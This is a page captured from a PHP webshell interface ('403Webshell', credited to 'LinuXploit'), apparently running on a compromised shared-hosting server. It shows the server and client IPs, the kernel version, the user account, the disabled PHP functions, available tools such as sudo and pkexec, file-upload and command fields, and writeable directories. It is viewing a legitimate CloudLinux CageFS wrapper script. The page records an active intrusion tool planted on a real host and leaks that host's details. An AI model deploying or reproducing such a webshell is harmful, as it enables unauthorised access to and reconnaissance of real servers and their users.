403Webshell
Server IP : 104.21.17.213  /  Your IP : 216.73.217.141
Web Server : Apache
System : Linux hosting01.arsenalhost.com 4.18.0-425.13.1.lve.el8.x86_64 #1 SMP Mon Feb 27 15:23:24 EST 2023 x86_64
User : corbizre ( 1013)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/thread-self/root/bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/thread-self/root/bin/cagefs_enter
#!/bin/bash

get_binary() {
    temp=`whereis -b $1`
    array=( $temp )
    length=${#array[@]}
    if [ "$length" -eq 1 ]; then
        echo $1
    fi
    length=$(($length - 1))
    for i in `seq 1 $let`; do
        if [ -x "${array[$i]}" ]; then
            echo ${array[$i]}
        fi
    done
}

ID=$(get_binary id)
WHOAMI=$(get_binary whoami)
TAIL=$(get_binary tail)
PWD=$(get_binary pwd)
SSH=$(get_binary ssh)
CAT=$(get_binary cat)
GREP=$(get_binary grep)

is_cagefs_enabled() {
    # return 0 when cagefs is enabled for user
    /bin/cagefs_enter.proxied ls -ld /var/.cagefs > /dev/null 2>&1
    return $?
}

is_proxy_enabled() {
    # return 0 when execution via proxy is enabled
    if $GREP -P '^cagefs_enter_proxied\s*=\s*0' /etc/sysconfig/cloudlinux > /dev/null 2>&1; then
        return 1
    fi
    return 0
}

##CageFS proxyexec wrapper - ver 15
USR=`$WHOAMI`

if [ "$USR" == "root" ]; then
    echo "This program can not be run as root"
    exit 1
fi

is_proxy_enabled
proxy_enabled=$?

if [ "$proxy_enabled" -ne 0 ]; then
    # when proxy is disabled - call original cagefs_enter binary
    /bin/cagefs_enter.proxied "$@"
    exit $?
fi

PREFIX=`$ID -u|$TAIL -c 3`
USER_TOKEN_PATH="/var/cagefs/$PREFIX/$USR/.cagefs/.cagefs.token"
WEBSITE_ISOLATION_FLAG="/opt/cloudlinux/flags/enabled-flags.d/website-isolation.flag"

# Allow overriding USER_TOKEN_PATH via WEBSITE_TOKEN_PATH environment variable
# this allows user to enter website isolations through proxyexec
if [ -f "$WEBSITE_ISOLATION_FLAG" ] && [ -n "$WEBSITE_TOKEN_PATH" ]; then
    USER_TOKEN_PATH="$WEBSITE_TOKEN_PATH"
else
    if [ ! -f "$USER_TOKEN_PATH" ]; then
        # try to create token
        is_cagefs_enabled
        cagefs_enabled=$?
    fi
fi

if [ ! -f "$USER_TOKEN_PATH" ]; then
    # when token does not exist - call original cagefs_enter binary
    /bin/cagefs_enter.proxied "$@"
    exit $?
fi

TOKEN=`$CAT $USER_TOKEN_PATH`
CWD=`$PWD`

if [ -e /var/.cagefs/origin ]; then
    ORIGIN=`$CAT /var/.cagefs/origin`
    REMOTE="$SSH -F /etc/ssh/cagefs-rexec_config $USR@$ORIGIN"
    $REMOTE CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" CAGEFS_ENTER $$ "$@"
else
    CAGEFS_TOKEN="$TOKEN" /usr/sbin/proxyexec -c cagefs.sock "$USR" "$CWD" CAGEFS_ENTER $$ "$@"
fi

exit $?

Youez - 2016 - github.com/yon3zu
LinuXploit